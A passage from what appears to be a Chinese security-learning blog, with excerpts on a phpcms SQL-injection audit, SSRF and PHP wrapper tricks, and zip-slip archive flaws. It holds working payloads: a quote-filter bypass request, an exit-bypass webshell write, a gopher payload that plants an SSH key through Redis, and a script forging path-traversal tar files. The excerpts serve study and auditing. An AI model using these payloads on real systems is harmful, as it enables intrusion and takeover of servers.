首页
关于
友链
Search
1
设备部署-NIDS入侵检测系统-Snort&Suricata
5 阅读
2
从方法重写到SQL注入-信呼OA审计
5 阅读
3
CVE-2025-11001
4 阅读
4
设备部署-HIDS入侵检测系统-Elkeid&Wazuh
4 阅读
5
Web入侵分析入口思路
3 阅读
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
登录
Search
标签搜索
学习笔记
蓝队
应急响应
代码审计
设备部署
内存马查杀
IDS
漏洞复现
JumpServer
HFish
雷池WAF
HIDS
Snort
Suricata
NIDS
Yara规则识别样本
ELK日志分析系统
Rookit查杀
容器应急
docker
N0va7
累计撰写
31
篇文章
累计收到
1
条评论
首页
栏目
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
页面
关于
友链
搜索到
8
篇与
的结果
2025-11-23
从方法重写到SQL注入-信呼OA审计
本文从信呼OAv2.6.5版本的路由,鉴权开始一步一步分析,最后发现因方法重写导致的SQL注入
2025年11月23日
5 阅读
0 评论
0 点赞
2025-09-21
phpcms变量覆盖到SQL注入
前言无论进行什么语言的代码审计,首先第一步都是分析这份代码的路由结构,然后再进一步分析路由分析入口点分析phpcms是⼀个⼀分为⼆的cms,有⼀套类似于应⽤的东⻄,包括phpcms,还有⼀套后台的管控中⼼,叫phpsso_server,在⼤多数情况下,它俩部署在⼀台主机上。两套代码的路由结构是⼀样的,我们来看看phpcms的。一般来说就是通过modules中的模块找到对应的controller触发路由。对于PHP来说,直接访问文件也可以触发该文件代码的流程,但是这样的话我们就得在每个文件的头部都加上一个权限校验,这样非常不便于程序员的开发。所以程序员会统一一个/几个入口点,只有从这些入口点进来的才能进行正确的访问,直接访问路径的会被退出在统一了入口点的情况下,程序员只需要对入口点进行权限判断即可,大大节省工作量。比如说这边都是通过index.php进来的,⽤这种⽅式来保障所有的路由都是从index.php进来,这样权限管控就⽐较好做了,以防有漏做权限控制的⻛险。主入口包含base.php,然后设置IN_PHPCMS为true,其他的路由中会去判断该变量是否存在,存在才能访问除了index.php还有其他的入口点,通过代码我们可以看出来他们也包含了base.php可以看到存在三个入口点:index.php、plugin.php、api.php,但是主要入口基本是从index.php来的正式路由分析我们在网站随便点击会出现对应的路由结构http://192.168.139.156:8000/index.php?m=member&c=index&a=register&siteid=1我们的首要任务就是搞懂这个到底是怎么进行路由映射的。在base.php中可以看到都是一些基本配置的引入,那么我们可以不需要在这边花太多时间,去index.php走下一步先看phpcms发现引入了一个类,看看这个方法一步一步走下来发现这边包含了一个文件,最后还进行了实例化new通过动调看看这个路径是什么进入这个类看看,发现这边又加载了一个param类并调用了其中的三种方法,同样的方式找到路径进去看看实例化过程中对这些提交的数据包进行过滤下面那些基本就是一些引入配置信息的内容看看刚刚调用的三个方法:route_m、route_c、route_a上面三个函数分别获取了GET请求中的值,现在进行初始化$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';根据这个构造我们可以大致知道m对应modules,c对应的是controller直接包含对应的class,不断步入之后进入到这个方法到这里可以看出a就是对应的controller中的事件所以现在整个路由结构我们基本明确了http://192.168.139.156:8000/index.php?m=member&c=index&a=register&siteid=1index.php是入口点,m是对应的module,c是controller,a是controller下的事件action业务分析我们现在已经把路由搞清楚了,接下来就是把业务弄明白。phpcms是一个一分为二的cms,每当有一些用户权限、用户信息相关的业务发生的时候,phpcms就会与phpsso_server进行通信。在这个通信的过程中我们看看它做了些什么先看看phpsso_server的代码这部分逻辑一模一样与phpcms不同的点在于sso_server只有两个module并且都调用了父类的构造函数看看父类的构造函数有些什么东西<?php define('IN_PHPSSO', true); class phpsso { public $db, $settings, $applist, $appid, $data; /** * 构造函数 */ public function __construct() { $this->db = pc_base::load_model('member_model'); pc_base::load_app_func('global'); /*获取系统配置*/ $this->settings = getcache('settings', 'admin'); $this->applist = getcache('applist', 'admin'); if(isset($_GET) && is_array($_GET) && count($_GET) > 0) { foreach($_GET as $k=>$v) { if(!in_array($k, array('m','c','a'))) { $_POST[$k] = $v; } } } if(isset($_POST['appid'])) { $this->appid = intval($_POST['appid']); } else { exit('0'); } if(isset($_POST['data'])) { parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); if(get_magic_quotes_gpc()) { $this->data = new_stripslashes($this->data); } if(!is_array($this->data)) { exit('0'); } } else { exit('0'); } if(isset($GLOBALS['HTTP_RAW_POST_DATA'])) { $this->data['avatardata'] = $GLOBALS['HTTP_RAW_POST_DATA']; if($this->applist[$this->appid]['authkey'] != $this->data['ps_auth_key']) { exit('0'); } } } }在这里面我们可以发现一个风险函数parse_str,这个函数存在变量覆盖的风险if(isset($_POST['data'])) { parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); if(get_magic_quotes_gpc()) { $this->data = new_stripslashes($this->data); } if(!is_array($this->data)) { exit('0'); } } else { exit('0'); }但是这里面还有一个sys_auth的函数,根据观察是加解密函数,且没有硬编码,所以说我们暂时不能操控这个加解密算法所以这边的逻辑就是将解密完毕的数据进行变量覆盖,但是目前加解密函数不可控,所以我们无法直接请求这个路由发送数据进行解密,我们先标记一下后续再看既然他存有这个东⻄这个api,必然是phpcms⾃⼰能向他发送请求,从这个方法也能看出来如果我们能在某个位置控制请求(我们与phpcms通信,phpcms在后端完成加密的动作,并且能把我们的参数传递到phpsso上),是否就可以跟phpsso通信了呢?与phpsso进行通信寻找交互点那么哪里会出现这种通信点呢?肯定是和用户信息相关的操作了,我们最开始分析路由的那个注册页面就是一个跟用户信息相关的操作,进去看看有没有出现phpcms和phpsso交互的点这是加载配置的点,下面这个就可能是交互点了,跟进看看发现了auth_key现在我们先继续调试,看看能不能不通过这个实现变量覆盖出现了sys_auth加解密函数,所以上面的_ps_send就是交互函数请求地址是phpsso,这就是交互点!!!既然确定了这个点是交互点,那么我们可以回到phpsso的代码下断点继续分析通过交互点函数往回查找调用点发现public_checkemail_ajax函数public function public_checkemail_ajax() { $this->_init_phpsso(); $email = isset($_GET['email']) && trim($_GET['email']) ? trim($_GET['email']) : exit(0); $status = $this->client->ps_checkemail($email); if($status == -5) { //禁止注册 exit('0'); } elseif($status == -1) { //用户名已存在,但是修改用户的时候需要判断邮箱是否是当前用户的 if(isset($_GET['phpssouid'])) { //修改用户传入phpssouid $status = $this->client->ps_get_member_info($email, 3); if($status) { $status = unserialize($status); //接口返回序列化,进行判断 if (isset($status['uid']) && $status['uid'] == intval($_GET['phpssouid'])) { exit('1'); } else { exit('0'); } } else { exit('0'); } } else { exit('0'); } } else { exit('1'); } }这时候我们的路由就是http://192.168.139.156:8000/index.php?m=member&c=index&a=public_checkemail_ajax&email=test访问这个地址会触发下面的POST数据包,先通过tcpdump看一下流量tcpdump -i lo port 8000 -v -nne -Ahttp://192.168.139.156:8000/phpsso_server/index.php?m=phpsso&c=index&a=checkemail要实现debug还得加上这个Cookie可以看到传递到checkemail函数,parse_str已经将data中的email变量覆盖且数据已经被解密了继续往下看看有没有什么操作,发现一个数据库的操作,看着挺像变量绑定那么回事的,好像没漏洞的样子,不管怎么说,这都是一个数据平面的交汇处,进去看看可以看到这里是拼接写法,故存在SQL注入漏洞,现在我们基本可以去尝试一下单引号了绕过可以看到这里加了过滤,还记得在本文开头对提交参数分析发现存在对提交参数进行单引号过滤吗?似乎我们的路子被堵死了?我知道你很急,但是你先别急,parse_str有一个特性,他会对传入的字符串进行自动的URL编码,这时候我们就可以尝试绕过GET /index.php?m=member&c=index&a=public_checkemail_ajax&email=test%2527 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cache-Control: no-cache Connection: keep-alive Cookie: XDEBUG_SESSION=PHPSTORM Host: 192.168.139.156:8000 Pragma: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36%25转化过去是%所以说我们这边没有添加单引号不会被转义过滤,成功绕过乌云镜像的原文:https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0131548抓住_ps_send这个函数可以找到更多入口点,如下面这个点这些我就不一一展示了,这是15年的文章了,作为一个初学者我感觉也是学到很多的,仅作为个人学习记录,如有错误请多多指教
2025年09月21日
1 阅读
0 评论
0 点赞
2025-09-19
动调环境搭建
PHPPHP的XDebug调试环境初次配置不懂的话真的很烦人,所以特此记录一下所以可以看到,在用xdebug+phpstorm调试PHP的过程中,是有三个角色的:调试客户端:PHPstorm安装了xdebug需要被调试的PHP触发调试的浏览器所以三个角色放在一台电脑上,不晕才怪。为什么PHP不能像其他语言一样,调试个PHP要这么麻烦的配置。根本原因:看似是本地调试,实际和远程调试没有什么特别大的区别。因为即使是在本地,PHP解析器也是被apache/nginx等中间件调用。 其他的编程语言都是IDE负责去调用调试器,但是PHP是藏在中间件后面的,所以就需要PHPstorm和真正需要被调试的PHP代码进行通信了,于是xdebug就是实现了这个通信机制的一个PHP插件。宝塔搭建我此处是开了一个Ubuntu虚拟机来作为专门动调的为什么选择安装宝塔呢?因为宝塔可以直接安装配套PHP版本的Xdebug,不需要我们自己再去编译配置(我之前被这个整麻了)宝塔安装脚本(建议去官方看):if [ -f /usr/bin/curl ];then curl -sSO https://download.bt.cn/install/install_panel.sh;else wget -O install_panel.sh https://download.bt.cn/install/install_panel.sh;fi;bash install_panel.sh ed8484bec直接去安装自己对应的PHP版本即可然后选择一个PHP版本,我这里选个5.6的版本,找到Xdebug安装即可配置文件配置到这里还没结束,要记得配置一下PHP的配置文件[XDebug] zend_extension=/www/server/php/56/lib/php/extensions/no-debug-non-zts-20131226/xdebug.so ; 开启远程调试功能 xdebug.remote_enable=1 ; 远程调试地址 xdebug.remote_host=192.168.48.1 ; 远程调试端口 xdebug.remote_port=9000 xdebug.idekey=PHPSTORM xdebug.mode=debug ; 在 IDE 上等待确认传入调试连接以的时间(毫秒) xdebug.remote_timeout=2000 ; debug 调试的日志位置 xdebug.remote_log = /tmp/xdebug.log默认配置的话,如果我们编辑器一直处于 Debug 状态,这个时候浏览器访问的网站就会超时出现 502 的错误,这是因为我们 PHP Debug 的时间太长了,浏览器因为服务器挂掉了,所以我们需要配置一下,增加 PHP Debug 的等待时间修改 request_terminate_timeout 时间为 0 即可浏览器安装xdebug helper插件并且将key填进去,这个插件可以让我们有选择性的Debug,而不是所有请求都会DebugPHPStorm配置设置好监听的端口配置远程服务器连接根路径设置为存放网站的根路径,我这是/www/wwwroot配置好对应的路径映射最后将远程代码部署到本地开启调试点亮插件绿标开启监听并打上断点刷新网页即可发现成功Debug
2025年09月19日
3 阅读
0 评论
0 点赞
2025-09-12
SSRF及伪协议的撸点
协议和伪协议协议计算机场景下的协议常常指的是通信协议(⽹络协议)。⽹络协议是通信计算机双⽅必须共同遵从的⼀组约定。如怎么样建⽴连接、怎么样互相识别等。只有遵守这个约定,计算机之间才能相互通信交流。伪协议伪协议其实算是⼀个虚概念,就是并不是所有语⾔、所有产品共⽤的。往往是某个语⾔或者某个程序⾃身,为了解决⾃身内部的通信需求,⾃⾏编制的⼀个协议。平常在⽇常称呼时,也常常有⼈将这两个概念混⽤,⽐如把所有的伪协议都称为协议,或者把所有的协议都称为伪协议。这个问题不⼤。PHP的伪协议官方手册https://www.php.net/manual/zh/wrappers.phpPHP 带有很多内置 URL ⻛格的封装协议,可⽤于类似fopen()、 copy()、 file_exists()和 filesize()的⽂件系统函数。除了这些封装协议,还能通过stream_wrapper_register()来注册⾃定义的封装协议。file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — 安全外壳协议 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流当然不是只有PHP支持这些,其中的部分还有一些语言也支持,比较通用的伪协议基本都支持关于伪协议的利用Trickshttps://blog.csdn.net/cosmoslin/article/details/120695429https://www.jianshu.com/p/8f1576b72420伪协议测试PHP版本allow_url_fopenallow_url_include用法file://>=5.2off/onoff/on?file=file://D:/soft/phpStudy/WWW/phpcode.txtphp://filter>=5.2off/onoff/on?file=php://filter/read=convert.base64-encode/resource=./index.phpphp://input>=5.2off/onon?file=php://input [POST Data]=>zip://>=5.2off/onoff/on?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txtcompress.bzip2://>=5.2off/onoff/on?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2compress.zlib://>=5.2off/onoff/on?file=compress.zlib://D:/soft/phpStudy/WWW/file.gzdata://>=5.2onon?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+PHP伪协议代码审计通解跟踪输⼊点输⼊点进⼊到⽂件系统操作函数:readfile()、file()、file_get_contents()这类函数能够控制参数的开头<?php $input = $_GET['input']; file_get_contents($input."xxx"); //可撸 file_get_contents("xxx".$input); //不可撸 ../../ ?>像这种"xxx".$input开头一般情况下是不行的,但是如果存在更多参数的话可以尝试绕过源码如下:<?php $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); echo $content; ?>当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。然而这里可以利用php://filter的base64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit。base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程:<?php $_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']); base64_decode($_GET['txt']); Base64 解码时,将 4 个 “Base64 编码字符”(每个字符对应 6 比特二进制)还原为 3 个 “原始字节”(每个字节对应 8 比特二进制)当$content包含 <?php exit; ?>时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个字符一组,再添加一个字符例如添加字符a后,将phpexita当做两组base64进行解码,也就绕过这个死亡exit了。这个时候后面再加上编码后的一句话木马,就可以getshell了。验证过程如下:$filename='php://filter/convert.base64-decode/resource=s1mple.php'; $content = 'aPD9waHAgcGhwaW5mbygpOw=='; # PD9waHAgcGhwaW5mbygpOw== ===> <?php phpinfo();SSRF是什么SSRF(server-side request forgery) 为服务端请求伪造,是⼀种由攻击者形成服务器端发起的安全漏洞。在⽐较早期的时候,⼤概是2010年到2017年中的时候,ssrf似乎还不是很盛⾏,当时往往只是利⽤这个ssrf去进⾏⼀个反向代理的作⽤,当时,ssrf更多还是本地资源的探测和访问、还有内⽹资源的探测和访问。后面国外有师傅总结,ssrf往往其实是⽀持跨协议的(从http/https到其他协议),从这个时候开始,ssrf开始⼤放异彩,在各个不同的会议和场合都开始有⼈在谈论了。SSRF和CSRF的区别从两点看,攻击的对象是谁,帮助我们发起攻击的对象是谁ssrf攻击的是服务端或者服务端所在的内⽹资源,并且帮助我们发起攻击的是服务端。csrf攻击的是受害者的pc,帮助我们发起攻击的是访问⻚⾯的受害者的浏览器。Curl支持的SSRF协议curl在不同语⾔都有插件或者扩展,所以如果我们在代审的时候,遇到某个ssrf漏洞是调⽤类似curl的模块去进⾏访问的时候,以上协议都可撸。demo代码:<?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?>SSRF的利用方式参考文章https://book.hacktricks.wiki/zh/pentesting-web/ssrf-server-side-request-forgery/index.htmlhttps://www.freebuf.com/vuls/262047.html访问内部Web-http/https协议这是最初级的ssrf利⽤了,通过ssrf去访问⼀个开启在127.0.0.1的web应⽤或者开放在内网的web应⽤。很可能开放在内⽹的服务没有进⾏⽐较强的鉴权,那么就可能有⼀些撸点。另外常见的利用是,内⽹存在其他可以直接rce的web服务,可以先通过ssrf探测web指纹,来确定是否存在特定应⽤。当然也有⼀种利⽤⽅式是,直接对内⽹的web服务直接盲打各种rce,也有许多常⻅案例。这种利⽤⽅式在早期的⽹络攻防环境乃⾄现在的⽹络安全环境中,仍然很适⽤。内网端口扫描-http/https协议这个与上⾯探测内网服务类似,利⽤的是⼀种差分攻击(差别分析攻击)。就是有⼀个简单的理论基础"端⼝开放情况下与端⼝不开放情况下",得到返回的时间会差别很⼤。以此,可以⽤来判断端⼝是否开启。SSRF转任意文件读取可利用的协议如下:file //⼏乎通⽤ ldap、zlib、phar、tar、rar //php jar //java jar war tar通过ssrf对本地⽂件进⾏读取,可以⽤来做代码审计、或者配置⽂件读取、密码读取,等等。SSRF攻击内部应用此处特指非Web的应用,比如Redis、MongoDB利用协议:dictgopher这两个协议也被称之为ssrf中的万⾦油协议了,因为他们都是封装协议(裸协议),可以⽤来封装其他协议。Gopher协议的利用gopher://<host>:<port>/<gopher-path>_<TCP数据流> <port>默认为70 发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码但是gopher协议在各个语言中是有使用限制的。语言支持情况PHP–wite-curlwrappers且php版本至少为5.3Java小于JDK1.7Curl低版本不支持Perl支持ASP.NET小于版本3Gopher发送请求在上面的内容中可以看到Gopher协议是被curl所支持的,所以说这个协议可以通过curl命令实现Gopher发送GET请求get型的http数据包如下GET /testg.php?name=xxx HTTP/1.1 Host: localhostGET请求需要进行URL编码才可以正常解析,编码的时候在最后一定要补%0d%0a代表结束,回车换行也是%0d%0a。curl gopher://localhost:4444/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0aGopher发送POST请求这几部分必须包含在内curl gopher://localhost:4444/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a参考文章https://cloud.tencent.com/developer/article/2091368https://www.cnblogs.com/h0cksr/p/16189737.htmlhttps://www.bilibili.com/opus/560221060057317873攻击对象⽬前国内⽹络上⽐较多的被⽤来搭配ssrf打的内部应⽤⼤致有:redisfastCGI/php-fpmhttps://blog.csdn.net/u012206617/article/details/108941738gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEk3QcSQWDzprYHpB0t+7/i8PCsow9F6DkJjVEgNkOvLKNLZ/BN1kt0HqWDLXbUwFScfav6mK4OfeCWZ7RBHUt2BpRA0p1nMPITx/SJ8/YeISGaa91/gwKFTPT1gaosOB4MMFVD8j7VmHskknSKsIiZmWmNHI16zGn7+6sHdJruA3cE7pPUWerkULWUw3jmVCwhdaO5RULUfI955hnio9IKwYieCenIiC8ZnnKJzXb7eB4zp34Jp3xZwbTAvpCx1/2I4LrNOqBnbm2Awdef9Yf484Q5K8Uj11kqKZYZhPKZq6913Hzx1y/krIe3qcBNxHM9W187W3xzRocdx/updNv huangniu@DESKTOP-758692A%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a配置SSH目录 *4 $6 config $3 set $3 dir $11 /root/.ssh/ 这部分内容采用Redis协议格式,它的作用是设置配置文件的存储目录。在Redis协议里,*4 表示接下来有4个参数,$6 表示后面的字符串长度为6,即 config;$3 表示长度为3的字符串 set;$3 表示长度为3的字符串 dir;$11 表示长度为11的字符串 /root/.ssh/。整体指令意思是将配置文件的存储目录设置为 /root/.ssh/。 配置数据库文件名 *4 $6 config $3 set $10 dbfilename $15 authorized_keys 同样是Redis协议格式,*4 表示有4个参数,该指令是把数据库文件名设置为 authorized_keys。在SSH服务中,authorized_keys 文件用于存储允许登录到该服务器的SSH公钥。 保存配置 *1 $4 save *1 表示有1个参数,$4 表示长度为4的字符串 save,此命令用于保存当前的配置信息。 退出操作 *1 $4 quit *1 表示有1个参数,$4 表示长度为4的字符串 quit,该命令用于退出当前的配置操作会话。 综上所述,这一系列指令的主要目的是将SSH公钥配置到服务器的 authorized_keys 文件中,并且指定该文件的存储目录为 /root/.ssh/,最后保存配置并退出操作。SSRF的检测绕过参考文章https://www.secpulse.com/archives/65832.htmlSSRF代码审计案例urllib库在Python中,SSRF并不是很好利用的点import urllib.request url = "abcd://127.0.0.1:8080/test/?test=a" url = "file:///etc/passwd" info = urllib.request.urlopen(url) print(info.read())这⾥有两个协议我们可以利⽤,⼀个是file协议,可以⽤来读取本地⽂件。⼀个是data协议,⽐较有趣⼀点,可以嵌⼊⼀些我们的任意输⼊,但是现在⽹络上似乎没有什么利⽤点。request库requests是⽬前⽤到的最多的http动作库,基本代替了urllib在⽇常产品中的份额。同样可以通过动态调试发现他支持的协议发现仅支持http/https协议。这就注定,他不能与php和java那样,⽅便的进⾏ssrf。CVE-2019-9740造成SSRFhttps://xz.aliyun.com/news/4755from flask import Flask, request, render_template import urllib app = Flask(__name__) @app.route('/') def index(): # put application's code here return "hello world" @app.route('/info') def info(): # put application's code here host = request.args.get('host') method = request.args.get('method') if host is None: return "please input host" url = "http://" + host if method is None: method = "GET" auth = request.args.get('auth') if auth is None: auth = "" headers = {"Authorization": auth} try: req = urllib.request.Request(url=url, method=method.upper(), headers=headers) # req = urllib.request.Request(url=url) info = urllib.request.urlopen(req) return info.read() except urllib.error.URLError as e: print(e) if __name__ == '__main__': app.run(host="0.0.0.0",debug=True) http://139.199.77.35:5000/info?host=127.0.0.1:6379&method=*1%0d%0a$105%0d%0a&auth=auth%20xxxx1234567%0d%0aset%20xxxx%201234*1 $105 /testg.php?name=xxx HTTP/1.1 Host: 127.0.0.1:6379 Auth: auth xxxx1234567 set xxxx 1234
2025年09月12日
3 阅读
0 评论
0 点赞
2025-09-11
文件上传案例
所有语言的隐患-压缩文件处理PHP$file = "/opt/data/upload/testfile.zip"; $outPath = "/opt/data/upload/testfile"; $zip = new ZipArchive(); $openRes = $zip->open($file); if ($openRes === TRUE) { $zip->extractTo($outPath); $zip->close(); }$file = "/opt/data/upload/testfile.zip"; $outPath = "/opt/data/upload/testfile"; $rar_file = rar_open($file); if ($rar_file) { $entries = rar_list($rar_file); foreach ($entries as $entry) { $entry->extract($outPath); } rar_close($rar_file); }Golangpackage main import ( "archive/tar" "compress/gzip" "fmt" "io" "os" "path/filepath" ) func main() { var dst = "" // 不写就是解压到当前目录 var src = "log.tar.gz" UnTar(dst, src) } func UnTar(dst, src string) (err error) { // 打开准备解压的 tar 包 fr, err := os.Open(src) if err != nil { return } defer fr.Close() // 将打开的文件先解压 gr, err := gzip.NewReader(fr) if err != nil { return } defer gr.Close() // 通过 gr 创建 tar.Reader tr := tar.NewReader(gr) // 现在已经获得了 tar.Reader 结构了,只需要循环里面的数据写入文件就可以了 for { hdr, err := tr.Next() switch { case err == io.EOF: return nil case err != nil: return err case hdr == nil: continue } // 处理下保存路径,将要保存的目录加上 header 中的 Name // 这个变量保存的有可能是目录,有可能是文件,所以就叫 FileDir 了…… dstFileDir := filepath.Join(dst, hdr.Name) // 根据 header 的 Typeflag 字段,判断文件的类型 switch hdr.Typeflag { case tar.TypeDir: // 如果是目录时候,创建目录 // 判断下目录是否存在,不存在就创建 if b := ExistDir(dstFileDir); !b { // 使用 MkdirAll 不使用 Mkdir ,就类似 Linux 终端下的 mkdir -p, // 可以递归创建每一级目录 if err := os.MkdirAll(dstFileDir, 0775); err != nil { return err } } case tar.TypeReg: // 如果是文件就写入到磁盘 // 创建一个可以读写的文件,权限就使用 header 中记录的权限 // 因为操作系统的 FileMode 是 int32 类型的,hdr 中的是 int64,所以转换下 file, err := os.OpenFile(dstFileDir, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode)) if err != nil { return err } n, err := io.Copy(file, tr) if err != nil { return err } // 将解压结果输出显示 fmt.Printf("成功解压: %s , 共处理了 %d 个字符\n", dstFileDir, n) // 不要忘记关闭打开的文件,因为它是在 for 循环中,不能使用 defer // 如果想使用 defer 就放在一个单独的函数中 file.Close() } } return nil } // 判断目录是否存在 func ExistDir(dirname string) bool { fi, err := os.Stat(dirname) return (err == nil || os.IsExist(err)) && fi.IsDir() }Pythondef extract(tar_path, target_path): try: tar = tarfile.open(tar_path, "r:gz") file_names = tar.getnames() for file_name in file_names: tar.extract(file_name, target_path) tar.close() except Exception, e: raise Exception, e分析总结通过上面的代码,我们是否能发现存在隐患的地方?当解压缩时,如果构造恶意的压缩包,那么是不是会解压到其他目录去,这些代码都没有对压缩文件的文件名进行校验,只进行了简单的拼接,在这种情况下不可避免的会出现漏洞,这种漏洞被称为Zip Sliper。https://xz.aliyun.com/news/2064?time__1311=eqfx97DteiwxlxGg%3DDy0KGOKIQO0imioD&u_atoken=81a16815aa382e6b3e668a8750005d8f&u_asig=ac11000117413163484324005e0071CVE-2021-38197下面就看一个典型的Zip Sliper漏洞git clone https://github.com/gen2brain/go-unarr.git git log # 回滚存在漏洞的版本 git reset --hard fa2f5a7a6f1b58aa07dc6eabc3f51f87972aeaa1// Extract extracts archive to destination path func (a *Archive) Extract(path string) (contents []string, err error) { for { e := a.Entry() if e != nil { if e == io.EOF { break } err = e return } name := a.Name() contents = append(contents, name) data, e := a.ReadAll() if e != nil { err = e return } dirname := filepath.Join(path, filepath.Dir(name)) os.MkdirAll(dirname, 0755) e = ioutil.WriteFile(filepath.Join(dirname, filepath.Base(name)), data, 0644) if e != nil { err = e return } } return }ioutil.WriteFile(filepath.Join(dirname, filepath.Base(name)), data, 0644)可以看到,解压的时候直接获取tar⾥⾯的⽂件名,然后读取内容,紧接着,直接进⾏filepath.Join⽂件名拼接,没有对⽂件名进⾏任何校验,就出现了路径穿越写⼊⽂件。实战场景下如何构造恶意压缩包如果有一个上传压缩包的接口,它支持压缩包上传之后解析配置文件,那么我们如何利用?首先思考三个点:上传之后的文件名需要是我们可控的解压如果能解压到任意目录就能构成利用解压文件中能否包含../../要解决上面的三个点,需要解决两个技术点:能否构造恶意的压缩包内容,文件名包含../../这种恶意的压缩包能否被正常解压构造恶意tar包tar包检测算法以tar包为例http://blog.chinaunix.net/uid-20357359-id-1963469.html struct tar_header { char name[100]; char mode[8]; char uid[8]; char gid[8]; char size[12]; char mtime[12]; char chksum[8]; char typeflag; char linkname[100]; char magic[6]; char version[2]; char uname[32]; char gname[32]; char devmajor[8]; char devminor[8]; char prefix[155]; char padding[12]; };⼀个tar包要经过校验,必须有满⾜条件的header。tar包中主要的校验来⾃于⽂件size⼤⼩、checksum校验和。⼤⼩好解决,不赘述,不改动⽂件⻓度即可。主要是校验和,解决了校验和,就解决了问题1和3。size为⽂件⼤⼩的⼋进制字节表示,例如⽂件⼤⼩为90个字节,那么这⾥就是⼋进制的90,即为132。其中,⽂件⼤⼩,修改时间,checksum都是存储的对应的⼋进制字符串,字符串最后⼀个字符为空格字符checksum的计算⽅法为除去checksum字段其他所有的512-8共504个字节的ascii码相加的值再加上256(checksum当作⼋个空格,即8*0x20)构造恶意tar包tar -cvf 1.tar 1111111111111111111111111111111111111.txt # 文件名尽量长,便于我们构造路径 ⽤010editor打开tar包,查看checksum。014010就是checksum的八进制值,也是我们要修改的基址修改tar包中的⽂件名和校验和,这⾥我需要写⼀个计算新的校验和的python⼩脚本,新的校验和=基址+偏移量def check(string): checksum = 0 for x in string: checksum+=ord(x) print(checksum) return checksum def main(): str1 = "1111111111111111111111111111111111111.txt" ori_checksum = check(str1) base = 0o014010 str2 = "../../../../../../../../../../../tmp/evil" checksum2 = check(str2) final = checksum2 - ori_checksum + base print("%o"%final) if __name__ == '__main__': main()运⾏后即可拿到新的⼋进制基址014216,把相应数据填⼊010editor即可。tar -tvf 1.tar可以看到已经解析成一个正确的tar包了开源工具构造tar包https://github.com/jwilk/traversal-archives?tab=readme-ov-file尝试tar命令解压tar -zvxf 1.tar可以看到tar命令是无法解压的,它在很早之前就修复了这个bughttps://paper.seebug.org/103/实际场景-第三方库解压除了上面的那个CVE,我自己也找了一个存在任意文件写入漏洞的第三方库,解压代码如下:package extract import ( "archive/tar" archivezip "archive/zip" "compress/gzip" "errors" "fmt" "io" "os" "path/filepath" ) // Extract is the interface to extract zip and tar.gz archives type Extract interface { Unzip(src, dest string) error UntarGz(src, dest string) error } type extractor struct{} // NewExtractor returns a new extractor func NewExtractor() Extract { return &extractor{} } // UntarGz extract the given source to the destination folder func (e *extractor) UntarGz(src, dest string) error { gzipStream, err := os.Open(src) if err != nil { return err } defer func(gzipStream *os.File) { _ = gzipStream.Close() }(gzipStream) uncompressedStream, err := gzip.NewReader(gzipStream) if err != nil { return fmt.Errorf("ExtractTarGz: NewReader failed") } tarReader := tar.NewReader(uncompressedStream) for { header, 